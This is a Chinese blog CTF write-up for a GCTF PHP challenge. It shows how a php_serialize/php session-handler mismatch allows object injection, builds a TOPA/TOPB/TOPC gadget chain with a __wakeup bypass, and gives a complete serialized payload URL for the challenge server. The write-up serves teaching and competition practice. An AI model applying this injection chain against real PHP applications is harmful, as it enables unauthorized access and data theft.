Sky's blog

GCTF的一道php反序列化题目

Word count: 954 / Reading time: 5 min
2017/06/20 Share

分析源码

首页源码:

1
2
3
4
5
6
7
8
9
10
11
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
$_SESSION['src'] = $_GET['src'];
highlight_file(__FILE__);
print_r($_SESSION['src']);
}
?>

可知ini_set('session.serialize_handler', 'php_serialize');
这段代码存在漏洞: PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据
例如:
$_SESSION['ryat'] = '|O:8:"stdClass":0:{}';
在存储时使用的序列化处理器为 php_serialize,存储的格式如下:
a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}
在读取数据时如果用的反序列化处理器不是 php_serialize,而是 php 的话,那么反序列化后的数据将会变成:

1
2
3
4
5
6
// var_dump($_SESSION);
array(1) {
["a:1:{s:4:"ryat";s:20:""]=>
object(stdClass)#1 (0) {
}
}

然后想到漏洞:两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题
详细可以参考:http://www.tuicool.com/articles/zEfuEz
而后发现另一个源码泄露:
http://218.2.197.232:18017/query.php~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function __construct(){
$this->attr = null;
$this->obj = null;
}
function __toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function __wakeup(){
$this->attr = null;
$this->obj = null;
}
function __destruct(){
echo $this->attr;
}
}

结合上述漏洞,则可以在首页中传入一个序列化值,然后脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 query.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了对象,最后即可拿到flag

构造过程

对于TOPA中的username和password的值,因为是弱比较,所以直接用0绕过就好
所以可以得到

1
2
3
$a = new TOPA();
$a->username=0;
$a->password=0;

而后在TOPB中的$this->obj->token === $this->obj->ticket时,
这里比较关键,单单是$a->ticket=$a->token;是不行的
因为反序列化后,token被赋予了新的值所以应该
$a->ticket=&$a->token;
这样做后,则$a->ticket$a->token则指向同一个地方,所以反序列化,给token赋了新的值,ticket也会跟着变化
故可以绕过这个比较
又因为TOPB中的
$this->obj = unserialize($this->attr);
故需要把$a序列化后赋值给attr
所以可以得到

1
2
$b=new TOPB();
$b->attr=serialize($a);

再看最后的TOPC
只需要绕过wakeup即可,故此得到最后的脚本:

1
2
3
4
5
6
7
8
9
$a = new TOPA();
$a->username=0;
$a->password=0;
$a->ticket=&$a->token;
$b=new TOPB();
$b->attr=serialize($a);
$obj=new TOPC();
$obj->attr =$b;
echo "<br>".serialize($obj)."<br>";

运行后可以得到:
O:4:"TOPC":2:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
为了绕过wakeup,得到:
O:4:"TOPC":12:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
最终payload如下:
http://218.2.197.232:18017/?src=|O:4:"TOPC":12:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
至此成功将payload传入了session,如果访问query.php,将会自动反序列这个session,最终得到flag

CATALOG
  1. 1. 分析源码
  2. 2. 构造过程